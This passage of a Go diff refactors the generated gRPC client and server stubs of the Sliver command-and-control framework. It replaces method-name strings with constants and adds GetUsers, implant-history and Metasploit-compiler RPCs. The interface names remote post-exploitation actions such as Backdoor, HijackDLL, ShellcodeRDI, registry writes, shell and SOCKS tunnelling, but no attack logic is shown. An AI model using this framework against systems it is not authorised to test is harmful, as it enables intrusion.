c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartService", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartService_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1418,7 +1644,7 @@ func (c *sliverRPCClient) StartService(ctx context.Context, in *sliverpb.StartSe func (c *sliverRPCClient) StopService(ctx context.Context, in *sliverpb.StopServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) { out := new(sliverpb.ServiceInfo) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StopService", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StopService_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1427,7 +1653,7 @@ func (c *sliverRPCClient) StopService(ctx context.Context, in *sliverpb.StopServ func (c *sliverRPCClient) RemoveService(ctx context.Context, in *sliverpb.RemoveServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) { out := new(sliverpb.ServiceInfo) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RemoveService", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RemoveService_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1436,7 +1662,7 @@ func (c *sliverRPCClient) RemoveService(ctx context.Context, in *sliverpb.Remove func (c *sliverRPCClient) MakeToken(ctx context.Context, in *sliverpb.MakeTokenReq, opts ...grpc.CallOption) (*sliverpb.MakeToken, error) { out := new(sliverpb.MakeToken) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MakeToken", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MakeToken_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1445,7 +1671,7 @@ func (c *sliverRPCClient) MakeToken(ctx context.Context, in *sliverpb.MakeTokenR func (c *sliverRPCClient) GetEnv(ctx context.Context, in *sliverpb.EnvReq, opts ...grpc.CallOption) (*sliverpb.EnvInfo, error) { out := new(sliverpb.EnvInfo) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetEnv", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetEnv_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1454,7 +1680,7 @@ func (c *sliverRPCClient) GetEnv(ctx context.Context, in *sliverpb.EnvReq, opts func (c *sliverRPCClient) SetEnv(ctx context.Context, in *sliverpb.SetEnvReq, opts ...grpc.CallOption) (*sliverpb.SetEnv, error) { out := new(sliverpb.SetEnv) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/SetEnv", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_SetEnv_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1463,7 +1689,7 @@ func (c *sliverRPCClient) SetEnv(ctx context.Context, in *sliverpb.SetEnvReq, op func (c *sliverRPCClient) UnsetEnv(ctx context.Context, in *sliverpb.UnsetEnvReq, opts ...grpc.CallOption) (*sliverpb.UnsetEnv, error) { out := new(sliverpb.UnsetEnv) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/UnsetEnv", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_UnsetEnv_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1472,7 +1698,7 @@ func (c *sliverRPCClient) UnsetEnv(ctx context.Context, in *sliverpb.UnsetEnvReq func (c *sliverRPCClient) Backdoor(ctx context.Context, in *clientpb.BackdoorReq, opts ...grpc.CallOption) (*clientpb.Backdoor, error) { out := new(clientpb.Backdoor) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Backdoor", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Backdoor_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1481,7 +1707,7 @@ func (c *sliverRPCClient) Backdoor(ctx context.Context, in *clientpb.BackdoorReq func (c *sliverRPCClient) RegistryRead(ctx context.Context, in *sliverpb.RegistryReadReq, opts ...grpc.CallOption) (*sliverpb.RegistryRead, error) { out := new(sliverpb.RegistryRead) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryRead", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryRead_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1490,7 +1716,7 @@ func (c *sliverRPCClient) RegistryRead(ctx context.Context, in *sliverpb.Registr func (c *sliverRPCClient) RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error) { out := new(sliverpb.RegistryWrite) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryWrite", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryWrite_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1499,7 +1725,7 @@ func (c *sliverRPCClient) RegistryWrite(ctx context.Context, in *sliverpb.Regist func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error) { out := new(sliverpb.RegistryCreateKey) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryCreateKey", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryCreateKey_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1508,7 +1734,7 @@ func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.Re func (c *sliverRPCClient) RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error) { out := new(sliverpb.RegistryDeleteKey) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryDeleteKey", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryDeleteKey_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1517,7 +1743,7 @@ func (c *sliverRPCClient) RegistryDeleteKey(ctx context.Context, in *sliverpb.Re func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) { out := new(sliverpb.RegistrySubKeyList) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListSubKeys", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryListSubKeys_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1526,7 +1752,7 @@ func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb. func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error) { out := new(sliverpb.RegistryValuesList) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListValues", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryListValues_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1535,7 +1761,7 @@ func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.R func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error) { out := new(sliverpb.SSHCommand) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunSSHCommand", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RunSSHCommand_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1544,7 +1770,7 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) { out := new(clientpb.DllHijack) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_HijackDLL_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1553,7 +1779,7 @@ func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackR func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error) { out := new(sliverpb.GetPrivs) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetPrivs", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetPrivs_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1562,7 +1788,7 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq func (c *sliverRPCClient) StartRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStartListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error) { out := new(sliverpb.RportFwdListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartRportFwdListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartRportFwdListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1571,7 +1797,7 @@ func (c *sliverRPCClient) StartRportFwdListener(ctx context.Context, in *sliverp func (c *sliverRPCClient) GetRportFwdListeners(ctx context.Context, in *sliverpb.RportFwdListenersReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListeners, error) { out := new(sliverpb.RportFwdListeners) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetRportFwdListeners", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetRportFwdListeners_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1580,7 +1806,7 @@ func (c *sliverRPCClient) GetRportFwdListeners(ctx context.Context, in *sliverpb func (c *sliverRPCClient) StopRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStopListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error) { out := new(sliverpb.RportFwdListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StopRportFwdListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StopRportFwdListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1589,7 +1815,7 @@ func (c *sliverRPCClient) StopRportFwdListener(ctx context.Context, in *sliverpb func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error) { out := new(sliverpb.OpenSession) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/OpenSession", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_OpenSession_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1598,7 +1824,7 @@ func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSess func (c *sliverRPCClient) CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseSession", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CloseSession_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1607,7 +1833,7 @@ func (c *sliverRPCClient) CloseSession(ctx context.Context, in *sliverpb.CloseSe func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) { out := new(sliverpb.RegisterExtension) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegisterExtension_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1616,7 +1842,7 @@ func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.Re func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error) { out := new(sliverpb.CallExtension) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CallExtension", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CallExtension_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1625,7 +1851,7 @@ func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallEx func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error) { out := new(sliverpb.ListExtensions) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListExtensions", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ListExtensions_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1634,7 +1860,7 @@ func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListE func (c *sliverRPCClient) RegisterWasmExtension(ctx context.Context, in *sliverpb.RegisterWasmExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterWasmExtension, error) { out := new(sliverpb.RegisterWasmExtension) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterWasmExtension", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegisterWasmExtension_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1643,7 +1869,7 @@ func (c *sliverRPCClient) RegisterWasmExtension(ctx context.Context, in *sliverp func (c *sliverRPCClient) ListWasmExtensions(ctx context.Context, in *sliverpb.ListWasmExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListWasmExtensions, error) { out := new(sliverpb.ListWasmExtensions) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListWasmExtensions", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ListWasmExtensions_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1652,7 +1878,7 @@ func (c *sliverRPCClient) ListWasmExtensions(ctx context.Context, in *sliverpb.L func (c *sliverRPCClient) ExecWasmExtension(ctx context.Context, in *sliverpb.ExecWasmExtensionReq, opts ...grpc.CallOption) (*sliverpb.ExecWasmExtension, error) { out := new(sliverpb.ExecWasmExtension) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecWasmExtension", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ExecWasmExtension_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1661,7 +1887,7 @@ func (c *sliverRPCClient) ExecWasmExtension(ctx context.Context, in *sliverpb.Ex func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) { out := new(sliverpb.WGPortForward) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGStartPortForward_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1670,7 +1896,7 @@ func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.W func (c *sliverRPCClient) WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) { out := new(sliverpb.WGPortForward) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStopPortForward", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGStopPortForward_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1679,7 +1905,7 @@ func (c *sliverRPCClient) WGStopPortForward(ctx context.Context, in *sliverpb.WG func (c *sliverRPCClient) WGStartSocks(ctx context.Context, in *sliverpb.WGSocksStartReq, opts ...grpc.CallOption) (*sliverpb.WGSocks, error) { out := new(sliverpb.WGSocks) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartSocks", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGStartSocks_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1688,7 +1914,7 @@ func (c *sliverRPCClient) WGStartSocks(ctx context.Context, in *sliverpb.WGSocks func (c *sliverRPCClient) WGStopSocks(ctx context.Context, in *sliverpb.WGSocksStopReq, opts ...grpc.CallOption) (*sliverpb.WGSocks, error) { out := new(sliverpb.WGSocks) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStopSocks", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGStopSocks_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1697,7 +1923,7 @@ func (c *sliverRPCClient) WGStopSocks(ctx context.Context, in *sliverpb.WGSocksS func (c *sliverRPCClient) WGListForwarders(ctx context.Context, in *sliverpb.WGTCPForwardersReq, opts ...grpc.CallOption) (*sliverpb.WGTCPForwarders, error) { out := new(sliverpb.WGTCPForwarders) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGListForwarders", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGListForwarders_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1706,7 +1932,7 @@ func (c *sliverRPCClient) WGListForwarders(ctx context.Context, in *sliverpb.WGT func (c *sliverRPCClient) WGListSocksServers(ctx context.Context, in *sliverpb.WGSocksServersReq, opts ...grpc.CallOption) (*sliverpb.WGSocksServers, error) { out := new(sliverpb.WGSocksServers) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGListSocksServers", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGListSocksServers_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1715,7 +1941,7 @@ func (c *sliverRPCClient) WGListSocksServers(ctx context.Context, in *sliverpb.W func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error) { out := new(sliverpb.Shell) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Shell", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Shell_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1724,7 +1950,7 @@ func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts func (c *sliverRPCClient) Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error) { out := new(sliverpb.Portfwd) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Portfwd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Portfwd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1733,7 +1959,7 @@ func (c *sliverRPCClient) Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, func (c *sliverRPCClient) CreateSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*sliverpb.Socks, error) { out := new(sliverpb.Socks) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CreateSocks", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CreateSocks_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1742,7 +1968,7 @@ func (c *sliverRPCClient) CreateSocks(ctx context.Context, in *sliverpb.Socks, o func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseSocks", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CloseSocks_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1750,7 +1976,7 @@ func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, op } func (c *sliverRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_SocksProxyClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], "/rpcpb.SliverRPC/SocksProxy", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_SocksProxy_FullMethodName, opts...) if err != nil { return nil, err } @@ -1782,7 +2008,7 @@ func (x *sliverRPCSocksProxyClient) Recv() (*sliverpb.SocksData, error) { func (c *sliverRPCClient) CreateTunnel(ctx context.Context, in *sliverpb.Tunnel, opts ...grpc.CallOption) (*sliverpb.Tunnel, error) { out := new(sliverpb.Tunnel) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CreateTunnel", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CreateTunnel_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1791,7 +2017,7 @@ func (c *sliverRPCClient) CreateTunnel(ctx context.Context, in *sliverpb.Tunnel, func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseTunnel", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CloseTunnel_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1799,7 +2025,7 @@ func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel, } func (c *sliverRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], "/rpcpb.SliverRPC/TunnelData", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_TunnelData_FullMethodName, opts...) if err != nil { return nil, err } @@ -1830,7 +2056,7 @@ func (x *sliverRPCTunnelDataClient) Recv() (*sliverpb.TunnelData, error) { } func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], "/rpcpb.SliverRPC/Events", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[6], SliverRPC_Events_FullMethodName, opts...) if err != nil { return nil, err } @@ -1865,16 +2091,17 @@ func (x *sliverRPCEventsClient) Recv() (*clientpb.Event, error) { // All implementations must embed UnimplementedSliverRPCServer // for forward compatibility type SliverRPCServer interface { - // *** Version *** + // *** Teamclient *** GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) + GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) // *** Client Logs *** ClientLog(SliverRPC_ClientLogServer) error - // *** Operator Commands *** - GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) // *** Generic *** Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) + ImplantHistory(SliverRPC_ImplantHistoryServer) error + GetImplantHistory(context.Context, *clientpb.HistoryRequest) (*clientpb.History, error) // *** Sessions *** GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) // *** Beacons *** @@ -1954,6 +2181,7 @@ type SliverRPCServer interface { MsfStage(context.Context, *clientpb.MsfStagerReq) (*clientpb.MsfStager, error) ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) + GetMetasploitCompiler(context.Context, *commonpb.Empty) (*clientpb.MetasploitCompiler, error) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) TrafficEncoderMap(context.Context, *commonpb.Empty) (*clientpb.TrafficEncoderMap, error) @@ -2069,12 +2297,12 @@ type UnimplementedSliverRPCServer struct { func (UnimplementedSliverRPCServer) GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) { return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented") } +func (UnimplementedSliverRPCServer) GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetUsers not implemented") +} func (UnimplementedSliverRPCServer) ClientLog(SliverRPC_ClientLogServer) error { return status.Errorf(codes.Unimplemented, "method ClientLog not implemented") } -func (UnimplementedSliverRPCServer) GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) { - return nil, status.Errorf(codes.Unimplemented, "method GetOperators not implemented") -} func (UnimplementedSliverRPCServer) Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented") } @@ -2084,6 +2312,12 @@ func (UnimplementedSliverRPCServer) Reconfigure(context.Context, *sliverpb.Recon func (UnimplementedSliverRPCServer) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Rename not implemented") } +func (UnimplementedSliverRPCServer) ImplantHistory(SliverRPC_ImplantHistoryServer) error { + return status.Errorf(codes.Unimplemented, "method ImplantHistory not implemented") +} +func (UnimplementedSliverRPCServer) GetImplantHistory(context.Context, *clientpb.HistoryRequest) (*clientpb.History, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetImplantHistory not implemented") +} func (UnimplementedSliverRPCServer) GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) { return nil, status.Errorf(codes.Unimplemented, "method GetSessions not implemented") } @@ -2282,6 +2516,9 @@ func (UnimplementedSliverRPCServer) ShellcodeRDI(context.Context, *clientpb.Shel func (UnimplementedSliverRPCServer) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) { return nil, status.Errorf(codes.Unimplemented, "method GetCompiler not implemented") } +func (UnimplementedSliverRPCServer) GetMetasploitCompiler(context.Context, *commonpb.Empty) (*clientpb.MetasploitCompiler, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetMetasploitCompiler not implemented") +} func (UnimplementedSliverRPCServer) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) { return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoder not implemented") } @@ -2587,7 +2824,7 @@ func _SliverRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetVersion", + FullMethod: SliverRPC_GetVersion_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetVersion(ctx, req.(*commonpb.Empty)) @@ -2595,6 +2832,24 @@ func _SliverRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec fun return interceptor(ctx, in, info, handler) } +func _SliverRPC_GetUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(commonpb.Empty) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetUsers(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetUsers_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetUsers(ctx, req.(*commonpb.Empty)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_ClientLog_Handler(srv interface{}, stream grpc.ServerStream) error { return srv.(SliverRPCServer).ClientLog(&sliverRPCClientLogServer{stream}) } @@ -2621,74 +2876,100 @@ func (x *sliverRPCClientLogServer) Recv() (*clientpb.ClientLogData, error) { return m, nil } -func _SliverRPC_GetOperators_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(commonpb.Empty) +func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(sliverpb.KillReq) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(SliverRPCServer).GetOperators(ctx, in) + return srv.(SliverRPCServer).Kill(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetOperators", + FullMethod: SliverRPC_Kill_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(SliverRPCServer).GetOperators(ctx, req.(*commonpb.Empty)) + return srv.(SliverRPCServer).Kill(ctx, req.(*sliverpb.KillReq)) } return interceptor(ctx, in, info, handler) } -func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(sliverpb.KillReq) +func _SliverRPC_Reconfigure_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(sliverpb.ReconfigureReq) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(SliverRPCServer).Kill(ctx, in) + return srv.(SliverRPCServer).Reconfigure(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Kill", + FullMethod: SliverRPC_Reconfigure_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(SliverRPCServer).Kill(ctx, req.(*sliverpb.KillReq)) + return srv.(SliverRPCServer).Reconfigure(ctx, req.(*sliverpb.ReconfigureReq)) } return interceptor(ctx, in, info, handler) } -func _SliverRPC_Reconfigure_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(sliverpb.ReconfigureReq) +func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(clientpb.RenameReq) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return 